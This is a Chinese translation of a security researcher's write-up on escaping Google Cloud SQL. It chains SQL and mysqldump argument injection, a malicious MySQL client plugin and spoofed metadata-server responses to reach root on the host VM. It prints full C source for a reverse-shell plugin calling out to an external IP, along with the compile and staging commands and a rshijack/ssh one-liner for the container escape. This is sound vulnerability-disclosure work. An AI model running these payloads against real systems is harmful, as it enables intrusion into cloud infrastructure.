在云SQL上获取shell
欢迎大家一起在评论区探讨,原文为:https://www.ezequiel.tech/2020/08/dropping-shell-in.html
1. 关于云SQL(这里暂指Google Cloud SQL)
Google Cloud SQL是一个完全托管在云上的关系数据库服务,它是由 Google 保护、监控和更新的SQL、PostgreSQL 或 MySQL的服务器。对于有更高要求的用户来说它还可以轻松扩展、复制或配置高可用性。 用户可以专注于使用数据库,而不用处理前面提到的所有复杂任务。 可以使用命令行或应用程序访问Cloud SQL 数据库。 不过我们在 Cloud SQL 的 MySQL 5.6 和 5.7 版本中发现的漏洞,于是便有了本篇文章。
2. 托管 MySQL 实例的限制
由于Cloud SQL是一项完全托管的服务,因此用户无权访问某些功能。例如用户没有SUPER
和FILE
权限。在MySQL中,SUPER
权限保留用于系统管理相关任务,FILE
权限用于读取/写入运行 MySQL服务器上的文件。 当攻击者获得这些权限的时候,就可以轻松的攻破服务器。
此外,因为存在防火墙,所以默认情况下无法从公网访问3306端口的mysqld服务。当用户使用gcloud
客户端(gcloud sql connect <instance>
)连接 MySQL 时,用户的 ip 地址会临时添加到允许连接的主机白名单中。
用户确实可以访问“root”@“%”帐户。在 MySQL 中,用户由用户名和主机名定义,在这种情况下,用户“root”可以从任何主机(“%”)进行连接。
3. 提权
3.1 通过SQL注入获得FILE权限
在 Google Cloud 控制台中,我们可以新建数据库、创建新用户,导入、导出数据库。在查看导出功能时,我们注意到在导出为CSV格式的文件时可以输入自定义查询。
因为我们想知道Cloud SQL导出为csv文件的原理,所以故意输入错误的查询
“SELECT * FROM evil AND A TYPO HERE”. This query results in the following error:
Error 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND A TYPO HERE INTO OUTFILE '/mysql/tmp/savedata-1589274544663130747.csv' CHARA' at line 1
该错误清楚地表明连接到 mysql 进行导出的用户具有 FILE 权限。 它会尝试选择数据以将其临时存储到/mysql/tmp
目录中,然后再将其导出到存储桶。 当我们从mysql客户端运行SHOW VARIABLES
时,我们注意到/mysql/tmp
是secure_file_priv
目录,这意味着/mysql/tmp
是允许具有FILE
权限的用户存储文件的唯一路径。
通过添加MySQL注释字符(#),我们可以使用FILE
权限执行SQL注入:
SELECT * FROM ourdatabase INTO ‘/mysql/tmp/evilfile’ #
攻击者现在可以制作恶意数据库并查询表的内容,但只能将输出结果写入到/mysql/tmp
下的文件。到目前为止这看起来还没什么。
3.2 mysqldump中的参数注入
正常情况下数据库导出的文件是.sql格式的,它是有mysqldump
工具转储的,从存储桶打开一个导出数据库的时候,dump的第一行的信息显示了命令和版本
-- MySQL dump 10.13 Distrib 5.7.25, for Linux (x86_64)
--
-- Host: localhost Database: mysql
-- ------------------------------------------------------
-- Server version 5.7.25-google-log
现在我们知道,当我们运行导出工具时,Cloud SQL API以某种方式调用mysqldump并在将数据库移动到存储桶之前存储数据库。
当我们截获负责用Burp导出的API调用时,我们看到数据库(在本例中是mysql
)被作为参数传递:
尝试将api调用中的数据库名称从mysql
修改为--help
。mysqldump被转储到存储桶中的一个.sql文件中:
mysqldump Ver 10.13 Distrib 5.7.25, for Linux (x86_64)
Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.
…
Dumping structure and contents of MySQL databases and tables.
Usage: mysqldump [OPTIONS] database [tables]
OR mysqldump [OPTIONS] --databases [OPTIONS] DB1 [DB2 DB3...]
OR mysqldump [OPTIONS] --all-databases [OPTIONS]
...
--print-defaults Print the program argument list and exit.
--no-defaults Don't read default options from any option file,
except for login file.
--defaults-file=# Only read default options from the given file #.
然而,对命令注入的测试失败了,似乎 mysqldump 作为第一个参数传递给 execve(),命令注入攻击变得不可能。
然而,我们现在可以将任意参数传递给 mysqldump,如“--help”命令所示。
3.3 构建恶意数据库
在这种情况下,mysqldump提供了参数,其中有两个看起来有点用,即“--plugin-dir”和“--default-auth”参数。
--plugin-dir参数允许我们传递存储客户端插件的目录。--default-auth参数指定了我们想要使用的身份验证插件。还记得我们可以写入' /mysql/tmp '吗?如果我们写一个恶意插件到' /mysql/tmp ',并加载它与前面提到的mysqldump参数岂不美哉,不过,我们需要做点准备。我们需要一个恶意数据库,我们可以导入到Cloud SQL,在我们可以导出任何有用的内容到' /mysql/tmp '。我们需要准备在服务器桌面上运行mysql。
首先,我们编写一个恶意共享对象,它会生成一个反向 shell 到指定的 IP 地址。 我们覆盖 _init 函数:
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
void _init() {
FILE * fp;
int fd;
int sock;
int port = 1234;
struct sockaddr_in addr;
char * callback = "123.123.123.123";
char mesg[]= "Shell on speckles>\n";
char shell[] = "/bin/sh";
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(callback);
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, (struct sockaddr*)&addr, sizeof(addr));
send(fd, mesg, sizeof(mesg), 0);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl(shell, "sshd", 0, NULL);
close(fd);
}
我们用下面的命令把它编译成一个共享对象:
gcc -fPIC -shared -o evil_plugin.so evil_plugin.c -nostartfiles
在本地运行的数据库服务器上,我们现在插入evil_plugin.so文件到longblob表:
mysql -h localhost -u root
>CREATE DATABASE files
>USE files
> CREATE TABLE `data` (
`exe` longblob
) ENGINE=MyISAM DEFAULT CHARSET=binary;
> insert into data VALUES(LOAD_FILE('evil_plugin.so'));
我们的恶意数据库现在完成了!我们用mysqldump将它导出到一个.sql文件中:
mysqldump -h localhost -u root files > files.sql
接下来,file.sql到存储桶中。之后,我们在Cloud SQL中创建一个名为“files”的数据库,并将恶意数据库转储导入其中。
3.4 获取shell
一切准备好了,现在就是将evil_plugin.so
写入到/mysql/tmp
,然后通过反弹shell注入--plugin-dir=/mysql/tmp/ --default-auth=evil_plugin
作为mysqldump的参数运行
为了实现这一点,我们再次运行CSV导出功能,这一次针对files
数据库,同时传递以下数据作为它的查询参数:
SELECT * FROM data INTO DUMPFILE '/mysql/tmp/evil_plugin.so' #
现在我们再次对mysql数据库运行一个常规的导出,并使用Burp修改对API的请求,将正确的参数传递给mysqldump:
成功监听
4. 有趣的事实
在我们开始探索这个环境之后不久,在/mysql/tmp
目录下发现了一个greeting .txt
的新文件:
谷歌SRE(Site Reliability Engineering)似乎对我们有影响:似乎在我们尝试的过程中,我们自己的一些实例崩溃了,这引起了他们的警觉。我们通过电子邮件与SRE取得了联系,把我们的实验告诉了他们,他们友好地回复了我们。
然而,我们的实验并没有就此结束,因为我们似乎被困在一个Docker容器中,只运行导出数据库所需的最小值。我们需要容器逃逸,我们需要它很快,SRE知道我们在做什么,现在谷歌可能正在做一个补丁。
5. 逃逸容器
我们可以访问的容器运行的是无特权的,这意味着没有容易的逃逸可用。在检查网络配置时,我们注意到我们可以访问eth0,在这种情况下,它带有容器的内部IP地址。
这是因为容器配置了Docker主机网络驱动程序(——network=host)。当运行一个没有任何特权的docker容器时,它的网络堆栈与主机是隔离的。当您在主机网络模式下运行容器时,情况就不同了。容器不再获得自己的IP地址,而是将所有服务直接绑定到主机IP。此外,我们可以拦截主机在eth0上发送和接收的所有网络通信流(tcpdump -i eth0)。
5.1. Google Guest Agent
当你在一个常规的谷歌计算引擎实例上检查网络流量时,你会看到很多普通的HTTP请求被定向到169.254.169.254上的元数据实例。发出此类请求的服务之一是谷歌Guest Agent。它默认在你配置的任何GCE实例上运行。下面是它发出请求的一个示例。
谷歌Guest Agen监视元数据的更改。它查找的属性之一是SSH公钥。当在元数据中发现一个新的公共SSH密钥时,客户代理将把这个公共密钥写入用户的.authorized_key文件,在必要时创建一个新用户并将其添加到sudoers。
谷歌Guest Agent监视更改的方式是通过调用递归地检索所有元数据值(GET /computeMetadata/v1/?recursive=true),指示元数据服务器只在最后检索到的元数据值有任何更改时发送响应,该值由其Etag (wait_for_change=true&last_etag=< Etag >)标识。
此请求还包括一个超时(timeout_sec=),因此如果在指定的时间内没有发生更改,元数据服务器将使用未更改的值进行响应。
5.2 执行攻击
考虑到对主机网络的访问和谷歌Guest Agent的行为,我们认为欺骗Metadata服务器的SSH密钥响应是逃离容器的最简单方法。
由于ARP欺骗不能在谷歌计算引擎网络上工作,我们使用我们自己修改的rshijack(diff)版本来发送我们的欺骗响应。
rshijack的这个修改版本允许我们将ACK和SEQ数字作为命令行参数传递,这节省了时间,并允许我们在真正的Metadata响应到来之前欺骗响应。
我们还编写了一个小型Shell脚本,该脚本将返回一个特别制作的有效负载,该有效负载将触发谷歌Guest Agent创建用户“wouter”,并在其authorized_keys文件中使用我们自己的公钥。
这个脚本接收ETag作为参数,因为通过保持相同的ETag,元数据服务器不会立即告诉谷歌来宾代理下一个响应的元数据值不同,而是在timeout_sec中等待指定的秒数。
为了实现欺骗,我们使用tcpdump (tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &)监视对元数据服务器的请求,等待如下所示的行:
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
一看到这个值,我们就快速运行rshijack,使用我们的伪元数据响应负载,并ssh连接到主机:
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
大多数时候,我们能够以足够快的速度输入成功的SSH登录🙂。
完成之后,我们就拥有了对主机VM的完全访问权(能够以root用户通过sudo执行命令)。
6. 影响和结论
一旦我们转移到主机VM,我们就能够完全研究Cloud SQL实例。
这并不像我们预期的那样令人兴奋,因为除了正确执行MySQL和与Cloud SQL API通信所必须的东西之外,主机并没有太多的东西。
我们的一个有趣的发现是iptables规则,因为当你启用私有IP访问(之后不能禁用)时,对MySQL端口的访问不仅增加了对指定VPC网络的IP地址的访问,而是增加了对10.0.0.0/8整个IP范围的访问,其中包括其他Cloud SQL实例。
因此,如果客户启用了对其实例的私有IP访问,他们就可能成为攻击者控制的Cloud SQL实例的目标。如果客户完全依赖于与外部世界隔离的实例,并且没有使用正确的密码保护它,那么这可能很快就会出错。
此外,谷歌VRP团队表示了担忧,因为可能会使用附加到底层计算引擎实例的Cloud SQL服务帐户来升级IAM权限。